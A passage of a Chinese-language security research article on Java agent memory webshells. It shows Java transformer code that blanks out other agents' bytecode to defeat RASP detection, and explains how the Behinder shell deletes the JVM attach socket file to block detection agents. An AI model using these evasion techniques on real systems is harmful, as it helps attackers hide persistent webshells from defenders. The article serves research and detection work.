boolean flag;
for (CtClass anInterface : interfaces) {
//遇到其它的Agent,不让它加载
if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) {
System.out.printf("[nsfocus] 有新的Agent: %s 加载 %n", className);
return true;
}
flag = check(className, anInterface);
if (flag) {
return true;
}
}
}
return false;
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
CtClass ctc = null;
try {
ClassPool cp = ClassPool.getDefault();
cp.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(ccp);
}
ctc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
if (ctc != null && check(className, ctc)) {
//System.out.println(ctc.getName());
return new byte[0];
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (ctc != null) {
ctc.detach();
}
}
return classfileBuffer;
}
}
该代码通过check方法,递归检测 java.lang.instrument.ClassFileTransformer 接口,防止多层嵌套 interface 结构绕过。一旦检测到某个类继承自 java.lang.instrument.ClassFileTransformer 接口,就 return new byte[0],将其字节码修改为空,从而达到破坏目的。
示例
修改Agent.java,将Transformer更改为ProtectTransformer(shell.jar):
运行demo.jar和shell.jar(ProtectTransformer):
运行memshell.jar(模拟检测Agent):
可以看到,ProtectTransformer虽然能够判断出后续Agent的加载,但是未能将其成功破坏掉,这可能与环境或者其内部执行的时机有关。逻辑上来讲,ProtectTransformer是能够破坏RASP正常工作的。
阻止检测Agent的加载
冰蝎内存马从 Behinder_v3.0 Beta 10 开始就添加了防检测的功能。
对冰蝎中的MemShell进行分析,在Linux下,它通过删除一个名为/tmp/.java_pid+{pid}的文件,达到了防检测的目的。为什么删除这个文件就能够防止检测呢?这还得从Agent加载的流程分析。前面了解过,Agent注入是通过调用com.sun.tools.attach.VirtualMachine的loadAgent实现的。跟进loadAgent,其调用了loadAgentLibrary方法:
跟进loadAgentLibrary方法,其调用了execute方法:
跟进execute方法:
前面我们说过,Linux、Windows等不同平台下的Attach API
是不完全相同的。该部分是在使用Windows的tools.jar的情况下分析的,因此上图中显示的是WindowsVirturalMachine.class
,其大致功能用于实现进程间通信。结合冰蝎的免杀方法以及Linux下“一切皆文件”的思想,不难反推出,该部分在Linux下是通过execute方法改写socket文件来实现进程间通信的。下面更换Linux的tools.jar验证一下:
示例
在Linux环境下运行demo.jar进行测试,成功找到JVM进程暴露的socket文件:
删除/tmp/.java_pid4190
后运行memshell.jar,注入失败:
综上,冰蝎实现免杀的方法应该就是删除JVM进程对外暴露的/tmp/.java_pid+{pid}
socket文件,阻止JVM进程的通信,从而禁止了Agent的加载。Agent无法注入,自然就无法检测内存马了。
学习资源
filter内存马
- 中间件内存马注入&冰蝎连接(附更改部分代码)
- filter内存马技术!_localhost01-CSDN博客
- 基于Tomcat无文件Webshell研究
- Tomcat内存马学习 一
- Tomcat 内存马学习(二):结合反序列化注入内存马 - 木头的小屋
- Java安全之基于Tomcat实现内存马 - nice_0e3 - 博客园
servlet内存马
listener型
Spring controller内存马
Spring Interceptor内存马
其它前提研究-获取request对象
Weblogic注入内存马
java agent内存马
内存马查杀
- Tomcat 内存马检测
- 查杀Java web filter型内存马 | 回忆飘如雪
- Filter/Servlet型内存马的扫描抓捕与查杀 | 回忆飘如雪
- 基于javaAgent内存马检测查杀指南-华盟网
- https://github.com/alibaba/arthas
- https://github.com/LandGrey/copagent
- https://github.com/c0ny1/java-memshell-scanner
- https://syst1m.com/post/memory-webshell/
部分汇总:GitHub - bitterzzZZ/MemoryShellLearn: 分享几个直接可用的内存马,记录一下学习过程中看过的文章
References
javaagent使用指南 - rickiyang - 博客园 (cnblogs.com)
Java Instrumentation - i野老i - 博客园 (cnblogs.com)
Java获取当前进程ID以及所有Java进程的进程ID - SegmentFault 思否
https://www.cnblogs.com/nice0e3/p/13811335.html